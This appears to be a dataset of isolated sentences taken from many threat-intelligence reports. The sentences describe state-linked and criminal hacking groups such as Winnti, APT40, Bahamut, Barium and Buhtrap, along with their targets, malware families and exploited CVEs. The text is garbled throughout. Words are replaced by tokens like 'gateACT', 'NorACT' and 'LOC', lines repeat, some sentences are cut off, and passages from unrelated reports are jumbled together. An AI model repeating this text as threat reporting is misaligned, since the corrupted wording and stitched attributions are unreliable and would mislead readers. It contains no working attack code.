Initial attack targets are commonly software and gaming organizations in United States , Japan , South Korea , and China .
Initial attack targets are commonly software and gaming organizations in United States , Japan , South Korea , and China .
The samples Novetta obtained from the active Axiom infection were compiled in mid- to late 2014 and represent what Novetta is referring to as version 3.0 of the Winnti lineage .
We assess with high confidence that the Winnti umbrella is associated with the Chinese state intelligence apparatus , with at least some elements located in the Xicheng District of Beijing .
The Winnti umbrella continues to operate highly successfully in 2018 .
The Winnti umbrella and closely associated entities has been active since at least 2009 .
The Winnti and Axiom group names were created by Kaspersky Lab and Symantec , respectively , for their 2013/2014 reports on the original group .
Their operations against gaming and technology organizations are believed to be economically motivated in nature .
However , based on the findings shared in this report we assess with high confidence that the actor 's primary long-term mission is politically focused .
The Winnti umbrella and linked groups' initial targets are gaming studios and high tech businesses .
During the same time period , we also observed the actor using the Browser Exploitation Framework ( BeEF ) to compromise victim hosts and download Cobalt Strike .
In this campaign , the attackers experimented with publicly available tooling for attack operations .
The primary goal of these attacks was likely to find code-signing certificates for signing future malware .
The Chinese intelligence apparatus has been reported on under many names , including Winnti , PassCV , APT17 , Axiom , LEAD , Barium , Wicked Panda , and GREF .
The attackers behind observed activity in 2018 operate from the Xicheng District of Beijing via the net block 221.216.0.0/13 .
ALLANITE activity closely resembles Palmetto Fusion described by the US Department of Homeland Security ( DHS ) .
ALLANITE activity closely resembles Palmetto Fusion described by the US Department of Homeland Security .
ALLANITE uses email phishing campaigns and compromised websites called watering holes to steal credentials and gain access to target networks , including collecting and distributing screenshots of industrial control systems .
In October 2017 , a DHS advisory documented ALLANITE technical operations combined with activity with a group Symantec calls Dragonfly ( which Dragos associates with DYMALLOY ) .
In October 2017 , a DHS advisory documented ALLANITE technical operations combined with activity with a group .
We assess with high confidence that the attackers discussed here are associated with the Chinese state intelligence apparatus .
ALLANITE operations limit themselves to information gathering and have not demonstrated any disruptive or damaging capabilities .
In October 2017 , a DHS advisory documented ALLANITE technical operations combined with activity with a group Symantec calls Dragonfly .
Public disclosure by third-parties , including the DHS , associate ALLANITE operations with Russian strategic interests .
ALLANITE conducts malware-less operations primarily leveraging legitimate and available tools in the Windows operating system .
Dragos does not publicly describe ICS activity group technical details except in extraordinary circumstances in order to limit tradecraft proliferation .
However , full details on ALLANITE and other group tools , techniques , procedures , and infrastructure is available to network defenders via Dragos WorldView .
In addition to maritime operations in this region , Anchor Panda also heavily targeted western companies in the US , Germany , Sweden , the UK , and Australia , and other countries involved in maritime satellite systems , aerospace companies , and defense contractors .
A current round of cyber-attacks from Chinese source groups are targeting the maritime sector in an attempt to steal technology .
PLA Navy Anchor Panda is an adversary that CrowdStrike has tracked extensively over the last year targeting both civilian and military maritime operations in the green/brown water regions primarily in the LOC of operations of the South Sea Fleet of the PLA Navy .
ALLANITE operations continue and intelligence indicates activity since at least May 2017 .
APT Anchor Panda is a Chinese threat actor group who target maritime operations .
According to cyber security researchers , Anchor Panda , who work directly for the Chinese PLA Navy , likely remains active .
Dragos does not corroborate nor conduct political attribution to threat activity .
In the past they used Adobe Gh0st , Poison Ivy and Torn RAT malware as their primary attack vector is sphere phishing .
Their targets are marine companies that operate in and around the South China Sea , an LOC of much Chinese interest .
As recently as this past week , researchers observed Chinese hackers escalating cyber-attack efforts to steal military research secrets from US universities .
The cyber-espionage campaign has labelled the group Advanced Persistent Threat ( APT ) 40 or , titled , Periscope .
The group has been active since at least January 2013 .
The group has also targeted businesses operating in the South China Sea , which is a strategically important region and the focus of disputes between China and other states .
The main targets seem to be US companies in engineering , transport and defense , although it has targeted other organizations around the world .
The times of day the group is active also suggests that it is based near Beijing and the group has reportedly used malware that has been observed in other Chinese operations , indicating some level of collaboration .
Periscope 's activity has previously been suspected of being linked to China , but now researchers believe their evidence links the operation to the Chinese state .
APT40 is described as a moderately sophisticated cyber-espionage group which combines access to significant development resources with the ability to leverage publicly available tools .
Anchor Panda uses website and web-server compromise as a means of attack and leverages an enormous cache of tools in its campaigns , to include exploits that take advantage of known CVE software vulnerabilities .
Like many espionage campaigns , much of APT40 's activity begins by attempting to trick targets with phishing emails , before deploying malware such as the Gh0st RAT trojan to maintain persistence on a compromised network .
The group uses website and web-server compromise as a means of attack and leverages an enormous cache of tools in its campaigns , to include exploits that take advantage of known CVE software vulnerabilities .
More than half of the organizations we have observed being targeted or breached by APT5 operate in these sectors .
APT5 has been active since at least 2007 .
APT5 has targeted or breached organizations across multiple industries , but its focus appears to be on telecommunications and technology companies , especially information about satellite communications .
APT5 targeted the network of an electronics firm that sells products for both industrial and military applications .
The group subsequently stole communications related to the firm 's business relationship with a national military , including inventories and memoranda about specific products they provided .
In one case in late 2014 , APT5 breached the network of an international telecommunications company .
The group used malware with keylogging capabilities to monitor the computer of an executive who manages the company 's relationships with other telecommunications companies .
APT5 also targeted the networks of some of Southeast Asia 's major telecommunications providers with Leouncia malware .
We suspect that the group sought access to these networks to obtain information that would enable it to monitor communications passing through the providers' systems .
The FBI said the " group of malicious cyber actors " ( known as APT6 or 1.php ) used dedicated top-level domains in conjunction with the command and control servers to deliver " customized malicious software " to government computer systems .
Deepen told Threatpost the group has been operating since at least since 2008 and has targeted China and US relations experts , Defense Department entities , and geospatial groups within the federal government .
Government officials said they knew the initial attack occurred in 2011 , but are unaware of who specifically is behind the attacks .
According to Deepen , APT6 has been using spear phishing in tandem with malicious PDF and ZIP attachments or links to malware infected websites that contains a malicious SCR file .
Nearly a month later , security experts are now shining a bright light on the alert and the mysterious group behind the attack .
The attacks discussed in this blog are related to an APT campaign commonly referred to as " th3bug " , named for the password the actors often use with their Poison Ivy malware .
Over the summer they compromised several sites , including a well-known Uyghur website written in that native language .
In contrast to many other APT campaigns , which tend to rely heavily on spear phishing to gain victims , " th3bug " is known for compromising legitimate websites their intended visitors are likely to frequent .
While we were unable to recover the initial vulnerability used , it is possibly the same CVE-2014-0515 Adobe Flash exploit first reported by Cisco TRAC in late July .
However , to increase success rates APT20 can use zero-day exploits , so even a properly patched system would be compromised .
Our direct observation of in-the-wild spearphishing attacks staged by the Bahamut group have been solely attempts to deceive targets into providing account passwords through impersonation of notices from platform providers .
Bahamut was first noticed when it targeted a Middle Eastern human rights activist in the first week of January 2017 .
Later that month , the same tactics and patterns were seen in attempts against an Iranian women 's activist – an individual commonly targeted by Iranian actors , such as Charming Kitten and the Sima campaign documented in our 2016 Black Hat talk .
In June we published on a previously unknown group we named " Bahamut " , a strange campaign of phishing and malware apparently focused on the Middle East and South Asia .
Once inside a network , APT40 uses credential-harvesting tools to gain usernames and passwords , allowing it to expand its reach across the network and move laterally through an environment as it moves to towards the ultimate goal of stealing data .
Bahamut was shown to be resourceful , not only maintaining their own Android malware but running propaganda sites , although the quality of these activities varied noticeably .
In June we published on a previously unknown group we named " Bahamut " , a strange campaign of phishing and malware apparently focused on the Middle East and South Asia .
Several times , APT5 has targeted organizations and personnel based in Southeast Asia .
However , in the same week of September a series of spearphishing attempts once again targeted a set of otherwise unrelated individuals , employing the same tactics as before .
Our primary contribution in this update is to implicate Bahamut in what are likely counterterrorism-motivated surveillance operations , and to further affirm our belief that the group is a hacker-for-hire operation .
As we wrote then , compared to Kingphish , Bahamut operates as though it were a generation ahead in terms of professionalism and ambition .
In the Bahamut report , we discussed two domains found within our search that were linked with a custom Android malware agent .
After the publication of the original report , these sites were taken offline despite the fact that one agent was even updated a six days prior to our post ( the " Khuai " application ) .
FIF is notable for its links to the Lashkar-e-Taiba ( LeT ) terrorist organization , which has committed mass-casualty attacks in India in support of establishing Pakistani control over the disputed Jammu and Kashmir border region .
As a result , it is already flagged as Bahamut by antivirus engines .
Our initial observation of the Bahamut group originated from in-the-wild attempts to deceive targets into providing account passwords through impersonation of platform providers .
One curious trait of Bahamut is that it develops fully-functional applications in support of its espionage activities , rather than push nonfunctional fake apps or bundle malware with legitimate software .
Curiously , Bahamut appears to track password attempts in response to failed phishing attempts or to provoke the target to provide more passwords .
Bahamut spearphishing attempts have also been accompanied with SMS messages purporting to be from Google about security issues on their account , including a class 0 message or " Flash text " .
These text messages did not include links but are intended to build credibility around the fake service notifications later sent to the target 's email address .
We have not found evidence of Bahamut engaging in crime or operating outside its limited geographic domains , although this narrow perspective could be accounted for by its compartmentalization of operations .
Thus far , Bahamut 's campaigns have appeared to be primarily espionage or information operations – not destructive attacks or fraud .
The targets and themes of Bahamut 's campaigns have consistently fallen within two regions – South Asia ( primarily Pakistan , specifically Kashmir ) and the Middle East ( from Morocco to Iran ) .
Our prior publication also failed to acknowledge immensely valuable input from a number of colleagues , including Nadim Kobeissi 's feedback on how the API endpoints on the Android malware were encrypted .
Bahamut targeted similar Qatar-based individuals during their campaign .
Bellingcat also reported the domain had been used previously to host potential decoy documents as detailed in VirusTotal here using http://voguextra.com/decoy.doc .
The China-backed Barium APT is suspected to be at the helm of the project .
Trojanized versions of the utility were then signed with legitimate certificates and were hosted on and distributed from official ASUS update servers – which made them mostly invisible to the vast majority of protection solutions , according to Kaspersky Lab .
Kaspersky Lab To compromise the utility , Kaspersky Lab determined that the cyberattackers used stolen digital certificates used by ASUS to sign legitimate binaries , and altered older versions of ASUS software to inject their own malicious code .
To compromise the utility , Kaspersky Lab determined that Barium used stolen digital certificates used by ASUS to sign legitimate binaries , and altered older versions of ASUS software to inject their own malicious code .
BARIUM , a Chinese state player that also goes by APT17 , Axiom and Deputy Dog , was previously linked to the ShadowPad and CCleaner incidents , which were also supply-chain attacks that used software updates to sneak onto machines .
That said , the " fingerprints " left on the samples by the attackers – including techniques used to achieve unauthorized code execution – suggest that the BARIUM APT is behind the effort , according to the researchers .
In the 2017 ShadowPad attack , the update mechanism for Korean server management software provider NetSarang was compromised to serve up an eponymous backdoor .
In the next incident , also in 2017 , software updates for the legitimate computer cleanup tool CCleaner was found to have been compromised by hackers to taint them with the same ShadowPad backdoor .
NetSarang , which has headquarters in South Korea and the United States , removed the backdoored update , but not before it was activated on at least one victim 's machine in Hong Kong .
Given our increased confidence that Bahamut was responsible for targeting of Qatari labor rights advocates and its focus on the foreign policy institutions other Gulf states , Bahamut 's interests are seemingly too expansive to be limited one sponsor or customer .
Barium specializes in targeting high value organizations holding sensitive data , by gathering extensive information about their employees through publicly available information and social media , using that information to fashion phishing attacks intended to trickthose employees into compromising their computers and networks .
We identified an overlap in the domain voguextra.com , which was used by Bahamut within their " Devoted To Humanity " app to host an image file and as C2 server by the PrayTime iOS app mentioned in our first post .
Althoughthe BariumDefendants have relied on differentand distinct infrastructures in an effortto evade detection , Bariumused the same e-mail address ( hostay88@gmail.com ) to register malicious domains used in connection with at least two toolsets that Barium has employed to compromise victim computers .
The second method , described in Part D.2 , below , involves the " ShadowPad " malware , which the Barium Defendants have distributed via a third-party software provider 's compromised update .
To enhance the effectiveness of phishing attacks into the organization , Barium will collect additional background informationfrom social media sites .
Employing a technique known as " spear phishing " , Barium has heavily targeted individuals within HumanResources or Business Developmentdepartments ofthe targeted organizations in order to compromise the computers ofsuch individuals .
The first method , described in Part D.l , below , involves the " Barlaiy " and " PlugXL " malware , which the Barium Defendants propagate using phishing techniques .
Using the information gathered from its reconnaissance on social media sites , Barium packages the phishing e-mail in a ACT that gives the e-mail credibility to the target user , often by making the e-mail appear as ifit were sent from an organization known to and trusted by the victim or concerning a topic of interest to the victim .
Barium Defendants install the malicious " Win32/Barlaiy " malware and the malicious " Win32/PlugX.L " malware on victim computers using the means described above .
Both Win32/Barlaiy & Win32/PlugX.L are remote access " trojans " , which allow Barium to gather a victim 's information , control a victim 's device , install additional malware , and exfiltrate information fi-om a victim 's device .
Barium Defendants install the malicious credential stealing and injection tool known as " Win32/RibDoor.A!dha " .
While not detected at the time , Microsoft 's antivirus and security products now detect this Barium malicious file and flag the file as " Win32/ShadowPad.A " .
MXI Player appears to be a version of the Bahamut agent , designed to record the phone calls and collect other information about the user ( com.mxi.videoplay ) .
Figure 9a , below , shows detections of encounters with the Barium actors and their infrastructure , including infected computers located in Virginia , and Figure 9b , below , shows detections of encounters throughout the United States .
Barium has targeted Microsoft customers both in Virginia , the United States , and around the world .
Once the Barium Defendants have access to a victim computer through the malware described above , they monitor the victim 's activity and ultimately search for and steal sensitive documents ( for example , Exfiltration of intellectual property regarding technology has been seen ) , and personal information fi"om the victim 's network .
According to a 49-page report published Thursday , all of the attacks are the work of Chinese government 's intelligence apparatus , which the report 's authors dub the Winnti Umbrella .
Researchers from various security organizations have used a variety of names to assign responsibility for the hacks , including LEAD , BARIUM , Wicked Panda , GREF , PassCV , Axiom , and Winnti .
It targets organizations in Japan , South Korea , and Taiwan , leveling its attacks on public sector agencies and telecommunications and other high-technology industries .
In 2016 , for instance , we found their campaigns attacking Japanese organizations with various malware tools , notably the Elirks backdoor .
Blackgear has been targeting various industries since its emergence a decade ago .
Blackgear 's campaigns also use email as an entry point , which is why it's important to secure the email gateACT .
BLACKGEAR is an espionage campaign which has targeted users in Taiwan for many years .
Our research indicates that it has started targeting Japanese users .
The malware tools used by BLACKGEAR can be categorized into three categories : binders , downloaders and backdoors .
Binders are delivered by attack vectors ( such as phishing and watering hole attacks ) onto a machine .
Based on the mutexes and domain names of some of their C&C servers , BlackTech 's campaigns are likely designed to steal their target 's technology .
Following their activities and evolving tactics and techniques helped us uncover the proverbial red string of fate that connected three seemingly disparate campaigns : PLEAD , Shrouded Crossbow , and of late , Waterbear .
Active since 2012 , it has so far targeted Taiwanese government agencies and private organizations .
PLEAD uses spear-phishing emails to deliver and install their backdoor , either as an attachment or through links to cloud storage services .
PLEAD also dabbled with a short-lived , fileless version of their malware when it obtained an exploit for a Flash vulnerability ( CVE-2015-5119 ) that was leaked during the Hacking Team breach .
PLEAD also uses CVE-2017-7269 , a buffer overflow vulnerability Microsoft Internet Information Services ( IIS ) 6.0 to compromise the victim 's server .
This campaign , first observed in 2010 , is believed to be operated by a well-funded group given how it appeared to have purchased the source code of the BIFROST backdoor , which the operators enhanced and created other tools from .
Shrouded Crossbow targeted privatized agencies and government contractors as well as enterprises in the consumer electronics , computer , healthcare , and financial industries .
Shrouded Crossbow employs three BIFROST-derived backdoors : BIFROSE , KIVARS , and XBOW .
Like PLEAD , Shrouded Crossbow uses spear-phishing emails with backdoor-laden attachments that utilize the RTLO technique and accompanied by decoy documents .
XBOW 's capabilities are derived from BIFROSE and KIVARS ; Shrouded Crossbow gets its name from its unique mutex format .
While PLEAD and KIVARS are most likely to be used in first phase attacks , Waterbear can be seen as a secondary backdoor installed after attackers have gained a certain level of privilege .
Recently , the JPCERT published a thorough analysis of the Plead backdoor , which , according to Trend Micro , is used by the cyberespionage group BlackTech .
Despite the fact that the Changing Information Technology Inc. certificate was revoked on July 4 , 2017 , the BlackTech group is still using it to sign their malicious tools .
The BlackTech group is primarily focused on cyberespionage in Asia .
The new activity described in this blogpost was detected by ESET in Taiwan , where the Plead malware has alACTs been most actively deployed .
Attackers are targeting Windows platform and aiming at government institutions as well as big companies in Colombia .
Attackers like to use spear-fishing email with password protected RAR attachment to avoid being detected by the email gateACT .
The first sample being captured was in April 2018 and since that we observed a lot more related ones .
After performing investigations on the classified victims , we find the attacker targets big companies and government agencies in Colombia .
After monitoring and correlating the APT attack , 360 Threat Intelligence Center discovered multiple related emails to attack Colombian government agencies , financial institutions and large enterprises .
The oldest sample we've seen up to now is from November 2013 .
One of the top targets is the Japan Pension Service , but the list of targeted industries includes government and government agencies , local governments , public interest groups , universities , banks , financial services , energy and so on .
However , the attack is different in two respects : unlike other APTs , the main focus of Blue Termite is to attack Japanese organizations ; and most of their C2s are located in Japan .
Originally , the main infection vector of Blue Termite was spear-phishing emails .
Kaspersky Lab has detected a new method of first infection that uses a drive-by-download with a flash exploit ( CVE-2015-5119 , the one leaked from The Hacking Team incident ) .
Kaspersky Lab also found some watering hole attacks , including one on a website belonging to a prominent member of the Japanese government .
In early July 2015 , however , Kaspersky Lab found a sample that creates a decryption key with Salt1 , Salt2 , and Salt3 .
From early June , when the cyber-attack on the Japan Pension Service started to be reported widely , various Japanese organizations would have started to deploy protection measures .
It employs AES in addition to SID tricks , making it difficult to decrypt sensitive data .
In order to fight back against this cyber-espionage , Kaspersky Lab will continue its research .
Bookworm 's functional code is radically different from PlugX and has a rather unique modular architecture that warranted additional analysis by Unit 42 .
Bookworm has little malicious functionality built-in , with its only core ability involving stealing keystrokes and clipboard contents .
The Plead malware is a backdoor which , according to Trend Micro , is used by the BlackTech group in targeted attacks .
So far , it appears threat actors have deployed the Bookworm Trojan primarily in attacks on targets in Thailand .
The threat actors use a commercial installation tool called Smart Installer Maker to encapsulate and execute a self-extracting RAR archive and in some cases a decoy slideshow or Flash installation application .
The self-extracting RAR writes a legitimate executable , an actor-created DLL called Loader.dll and a file named readme.txt to the filesystem and then executes the legitimate executable .
targeted attacks .
Using XREFs during static analysis is a common technique to quickly find where functions of interest are called .
The developers designed Bookworm to be a modular Trojan not limited to just the initial architecture of the Trojan , as Bookworm can also load additional modules provided by the C2 server .
Although the developers of Bookworm have included only keylogging functionality in Bookworm as a core ability , as suggested in Table 1 , several of the embedded DLLs provide Leader with cryptographic and hashing functions , while others support Leader 's ability to communicate with its C2 server .
While we did not discuss the surrounding attacks using Bookworm in detail , we have observed threat actors deploying Bookworm primarily in attacks on targets in Thailand .
Also , Bookworm uses a combination of encryption and compression algorithms to obfuscate the traffic between the system and C2 server .
The developers of Bookworm have gone to great lengths to create a modular framework that is very flexible through its ability to run additional modules directly from its C2 server .
Unit 42 recently published a blog on a newly identified Trojan called Bookworm , which discussed the architecture and capabilities of the malware and alluded to Thailand being the focus of the threat actors' campaigns .
Leader is Bookworm 's main module and controls all of the activities of the Trojan , but relies on the additional DLLs to provide specific functionality .
The developers of Bookworm use these modules in a rather unique ACT , as the other embedded DLLs provide API functions for Leader to carry out its tasks .
Unit 42 does not have detailed targeting information for all known Bookworm samples , but we are aware of attempted attacks on at least two branches of government in Thailand .
We speculate that other attacks delivering Bookworm were also targeting organizations in Thailand based on the contents of the associated decoys documents , as well as several of the dynamic DNS domain names used to host C2 servers that contain the words " Thai " or " Thailand " .
We believe that it is likely threat actors will continue development Bookworm , and will continue to use it for the foreseeable future .
Threat actors have delivered Bookworm as a payload in attacks on targets in Thailand .
Analysis of compromised systems seen communicating with Bookworm C2 servers also confirms our speculation on targeting with a majority of systems existing within Thailand .
As mentioned in our previous blog on Bookworm , the Trojan sends a static date string to the C2 server that we referred to as a campaign code .
We believed that the actors would use this date code to track their attack campaigns ; however , after continued analysis of the malware , we think these static dates could also be a build identifier for the Trojan .
Threat actors may use the date string hardcoded into each Bookworm sample as a build identifier .
A Trojan sending a build identifier to its C2 server is quite common , as it notifies the threat actors of the specific version of the Trojan in which they are interacting .
Due to these changes without a new date string , we believe the date codes are used for campaign tracking rather than a Bookworm build identifier .
We believe that Bookworm samples use the static date string as campaign codes , which we used to determine the approximate date of each attack that we did not have detailed targeting information .
Another decoy slideshow associated with the Bookworm attack campaign contains photos of an event called Bike for Dad 2015 .
The campaign code " 20150920 " is associated with this decoy , which is a week prior to media articles announcing that the Crown Price of Thailand Maha Vajiralongkorn will lead the Bike for Dad 2015 event .
Chitpas is heavily involved with Thailand politics and was a core leader of the People 's Committee for Absolute Democracy ( PCAD ) , which is an organization that staged anti-government campaigns in 2013 and 2014 .
The final remaining known decoy includes photos of Chitpas Tant Kridakon ( Figure 7 ) , who is known as heiress to the largest brewery in Thailand .
These images were associated with the Bookworm campaign code " 20150905 " .
Unit 42 analyzed the systems communicating with the Bookworm C2 domains and found that a majority of the IP addresses existed within autonomous systems located in Thailand .
The pie chart in Figure 8 shows that the vast majority ( 73% ) of the hosts are geographically located in Thailand , which matches the known targeting of this threat group .
We believe that the IP addresses from Canada , Russia and NorACT are analysis systems of antivirus companies or security researchers .
Overall , the Bookworm infrastructure overlaps with the infrastructure hosting C2 servers used by various attack tools , including FFRAT , Poison Ivy , PlugX , and others .
Overall , the Bookworm infrastructure overlaps with the infrastructure hosting C2 servers used by various attack tools , including FFRAT , Poison Ivy , PlugX , and others .
Unit 42 enumerated the threat infrastructure related to Bookworm and created a chart to visualize connected entities to its current attack campaign .
Threat actors have targeted the government of Thailand and delivered the newly discovered Bookworm Trojan since July 2015 .
The actors appear to follow a set playbook , as the observed TTPs are fairly static within each attack in this campaign .
So far , Unit 42 has seen infrastructure overlaps with servers hosting C2 servers for samples of the FFRAT , PlugX , Poison Ivy and Scieron Trojans , suggesting that the threat actors use these tools as the payload in their attacks .
The threat actors have continually used Flash Player installers and Flash slideshows for decoys .
The vast majority of systems communicating with Bookworm C2 servers are within the Bangkok metropolitan LOC where a majority of the government of Thailand exists .
Buhtrap has been active since 2014 , however their first attacks against financial institutions were only detected in August 2015 .
At the moment , the group is known to target Russian and Ukrainian banks .
Buhtrap is the first hacker group using a network worm to infect the overall bank infrastructure that significantly increases the difficulty of removing all malicious functions from the network .
Malicious programs intentionally scan for machines with an automated Bank-Customer system of the Central bank of Russia ( further referred to as BCS CBR ) .
If the document was delivered with macros instead of exploits ( CVE-2012-0158 , CVE-2013-3906 or CVE-2014-1761 ) , then the document contained instructions for enabling macros .
We noticed that criminals were spreading Buhtrap using this method from May 2015 to August 2015 .
It is worth noting that attackers used the same compromised websites to spread Buhtrap as those that had been used for the Corkow Trojan .
Moreover , they used the same exploit kit Niteris as that in the Corkow case .
Purportedly during one of the first attacks hackers intercepted the mailing list of the Anti-drop " club and created a specific phishing email for its members .
However , it is still widely used , notably in Russia .
As noted in our previous blog on Buhtrap , this gang has been actively targeting Russian businesses , mostly through spear-phishing .
It is thus interesting to see Buhtrap add strategic web compromises to their arsenal .
The first malware we saw was the lurk downloader , which was distributed on October 26th .
The executable would install the real Ammyy product , but would also launch a file called either AmmyyService.exe or AmmyySvc.exe which contained the malicious payload .
Buhtrap is getting better at disguising the code they inject into compromised websites .
With the recent arrests of actors using the Lurk banking trojan , Buhtrap appears to be a likely alternative for actors wishing to target Russian banks and software .
They have different functions and ACTs of spreading , but the same purpose — to steal money from the accounts of businesses .
Our experts have found that cybercriminals are actively focusing on SMBs , and giving particular attention to accountants .
The first encounter with Buhtrap was registered back in 2014 .
For now , we can call RTM one of the most active financial Trojans .
At that time it was the name of a cybercriminal group that was stealing money from Russian financial establishments — to the tune of at least $150,000 per hit .
Buhtrap resurfaced in the beginning of 2017 in the TwoBee campaign , where it served primarily as means of malware delivery .
After the source codes of their tools became public in 2016 , the name Buhtrap was used for the financial Trojan .
Just like last time , Buhtrap is spreading through exploits embedded in news outlets .
Estimating the damages is challenging , but as we learned , the criminals are siphoning off assets in transactions that do not exceed $15,000 each .
As explained later , we believe this campaign is financially-motivated and that it targets accounting departments in Russian businesses .
" Buhgalter " means " accountant " in Russian .
Seeing a campaign like this , inevitably the Anunak/Carbanak documented by Fox-IT and Kaspersky comes to mind .
The infection vector is similar , it uses a similar modified mimikatz application , and it uses a third-party remote access tool , changes system settings to allow concurrent RDP sessions , and so on .
The second , aptly titled " kontrakt87.doc " , copies a generic telecommunications service contract from MegaFon , a large Russian mobile phone operator .
In addition to built-in functionalities , the operators of Careto can upload additional modules which can perform any malicious task .
Careto 's Mask campaign we discovered relies on spear-phishing e-mails with links to a malicious website .
Sometimes , the attackers use sub-domains on the exploit websites , to make them seem more legitimate .
These sub-domains simulate sub-sections of the main newspapers in Spain plus some international ones like the Guardian and the Washington Post .
The CVE-2012-0773 was originally discovered by VUPEN and has an interesting story .
In other words , the attackers attracted our attention by attempting to exploit Kaspersky Lab products .
We initially became aware of Careto when we observed attempts to exploit a vulnerability in our products to make the malware " invisible " in the system .
Most modules were created in 2012 .
The attackers began taking them offline in January 2014 .
Last week we discussed Numbered Panda , a group that is also based out of China and is fairly well known to the security community , though by many names .
We revealed a Chinese-based adversary we crypt as Anchor Panda , a group with very specific tactics , techniques , and procedures ( TTPs ) and a keen interest in maritime operations and naval and aerospace technology .
The campaign was active until January 2014 , but during our investigations the C&C servers were shut down .
This week we are going to discuss Clever Kitten , whom , by virtue of several indicators , we have affiliated with the Islamic Republic of Iran .
Clever Kitten has moved to leveraging strategic web compromises .
Clever Kitten actors have a strong affinity for PHP server-side attacks to make access ; this is relatively unique amongst targeted attackers who often favor targeting a specific individual at a specific organization using social engineering .
Clever Kitten primarily targets global companies with strategic importance to countries that are contrary to Iranian interests .
A Clever Kitten attack starts with the use of a web vulnerability scanner to conduct reconnaissance .
The scanner was identified as the Acunetix Web Vulnerability Scanner which is a commercial penetration testing tool that is readily available as a 14-day trial .
Once an exploitable page is identified , Clever Kitten will attempt to upload a PHP backdoor to gain remote access to the system .
The reason for this is likely the availability of exploits against web browsers , which for a variety of reasons allows an attacker to bypass security features such as Data Execution Prevention ( DEP ) or Address Space Layout Randomization ( ASLR ) .
Once an exploitable page is identified , the actor will attempt to upload a PHP backdoor to gain remote access to the system .
In Clever Kitten 's attacks , the goal is lateral movement ; this is an attempt to move further into the target environment in order to begin intelligence collection .
This activity is a longer tail for the actor than a spearphish ; this is likely based on the Clever Kitten background , which may be focused on web development/application testing .
Without going too deep into the rabbit hole , there are several indicators pointing to an Iranian nexus , including language artifacts in the tool-marks used by the attacker , as well as network activity tying this actor to a very specific location that we have high confidence in not being spoofed .
Clever Kitten 's goal is to eventually be able to masquerade as a legitimate user by compromising credentials either through a pass-the-hash attack , or by dumping password hashes from a compromised host .
The campaign targets Middle Eastern organizations largely from the Lebanon and United Arab Emirates , though , Indian and Canadian companies with interests in those Middle Eastern countries are also targeted .
There are new TTPs used in this attack – for example Agent_Drable is leveraging the Django Python framework for command and control infrastructure , the technical details of which are outlined later in the blog .
n summary , Cold River is a sophisticated threat actor making malicious use of DNS tunneling for command and control activities , compelling lure documents , and previously unknown implants .
Some of the exploit server paths contain modules that appear to have been designed to infect Linux computers , but we have not yet located the Linux backdoor .
The campaign targets Middle Eastern organizations largely from the Lebanon and United Arab Emirates , though , Indian and Canadian companies with interests in those Middle Eastern countries may have also been targeted .
The decoy documents used by the InPage exploits suggest that the targets are likely to be politically or militarily motivated .
The use of InPage as an attack vector is not commonly seen , with the only previously noted attacks being documented by Kaspersky in late 2016 .
The decoy documents dropped suggest that the targets are likely to be politically or militarily motivated , with subjects such as Intelligence reports and political situations being used as lure documents .
While documents designed to exploit the InPage software are rare , they are not new – however in recent weeks Unit42 has observed numerous InPage exploits leveraging similar shellcode , suggesting continued use of the exploit previously discussed by Kaspersky .
Confucius targeted a particular set of individuals in South Asian countries , such as military personnel and businessmen , among others .
Tweety Chat 's Android version can record audio , too .
Confucius' operations include deploying bespoke backdoors and stealing files from their victim 's systems with tailored file stealers , some of which bore resemblances to Patchwork 's .
Compared to Patchwork , whose Trojanized documents exploit at least five security flaws , Confucius' backdoors are delivered through Office files exploiting memory corruption vulnerabilities CVE-2015-1641 and CVE-2017-11882 .
Back in February , we noted the similarities between the Patchwork and Confucius groups and found that , in addition to the similarities in their malware code , both groups primarily went after targets in South Asia .
Back in February , Trend Micro noted the similarities between the Patchwork and Confucius groups and found that , in addition to the similarities in their malware code , both groups primarily went after targets in South Asia .
One of its file stealers , swissknife2 , abuses a cloud storage service as a repository of exfiltrated files .
During the months that followed in which we tracked Confucius' activities , we found that they were still aiming for Pakistani targets .
During their previous campaign , we found Confucius using fake romance websites to entice victims into installing malicious Android applications .
Periodically , the malware tries to contact the command-and-control ( C&C ) server with the username encoded into parameters .
This function is similar to the various versions of backdoors ( such as sctrls and sip_telephone ) that we analyzed in our previous blog post and whitepaper .
This algorithm was previously discussed by security researchers in a Confucius-related blog post .
Lately , Patchwork has been sending multiple RTF files exploiting CVE-2017-8570 .
The group still uses the Badnews malware , a backdoor with information-stealing and file-executing capabilities , albeit updated with a slight modification in the encryption routine at the end of 2017 , when they added Blowfish encryption on top of their custom encryption described in our former Patchwork blogpost .
Threat actors like Confucius and Patchwork are known for their large arsenal of tools and ever-evolving techniques that can render traditional security solutions — which are often not designed to handle the persistent and sophisticated threats detailed in this blog — ineffective .
The reality is that IT departments of small to large-sized organizations are not equipped to handle the more advanced threats that groups like Confucius use in their attacks .
Patchwork uses email as an entry point , which is why securing the email gateACT is important .
This blog post examines two similar malware families that utilize the aforementioned technique to abuse legitimate websites , their connections to each other , and their connections to known espionage campaigns .
In order to increase the likelihood of their malware successfully communicating home , Cyber Espionage threat actors are increasingly abusing legitimate web services , in lieu of DNS lookups to retrieve a command and control address .
In 2013 , Rapid7 reported on a series of relatively amateur attacks against Pakistani targets .
The first of which we call ' CONFUCIUS_A ' , a malware family that has links to a series of attacks associated with a backdoor attack method commonly known as SNEEPY ( aka ByeByeShell ) first reported by Rapid7 in 2013 .
At first glance CONFUCIUS_B looks very similar to CONFUCIUS_A , and they are also packaged in plain SFX binary files .
The CONFUCIUS_B executable is disguised as a PowerPoint presentation , using a Right-To-Left-Override ( RTLO ) trick and a false icon .
We also believe that both clusters of activity have links to attacks with likely Indian origins , the CONFUCIUS_A attacks are linked to the use of SNEEPY/BYEBYESHELL and the CONFUCIUS_B have a loose link to Hangover .
The two malware families themselves are also very similar , and therefore we think that the shared technique is an indication of a single developer , or development company , behind both CONFUCIUS_A and CONFUCIUS_B .
In this blog post , we discussed two separate malware variations that behave in very similar ACTs and use similar techniques to acquire a C2 address , with both using Yahoo Answers and Quora to evade traditional mechanisms for blocking command and control domains .
The Android version , for instance , can steal SMS messages , accounts , contacts , and files , as well as record audio .
Confucius' backdoors are delivered through Office documents exploiting memory corruption vulnerabilities CVE-2015-1641 and CVE-2017-11882 .
We dove deeper into Confucius' operations—namely , the malware-ridden documents , backdoors , and file stealers they use in their campaigns .
The sctrls backdoor we came across is delivered via RTF files exploiting CVE-2015-1641 .
The documents that exploit CVE2017-11882 download another payload — an HTML Application ( HTA ) file toting a malicious Visual Basic ( VBS ) script — from the server , which is executed accordingly by the command-line tool mshta.exe .
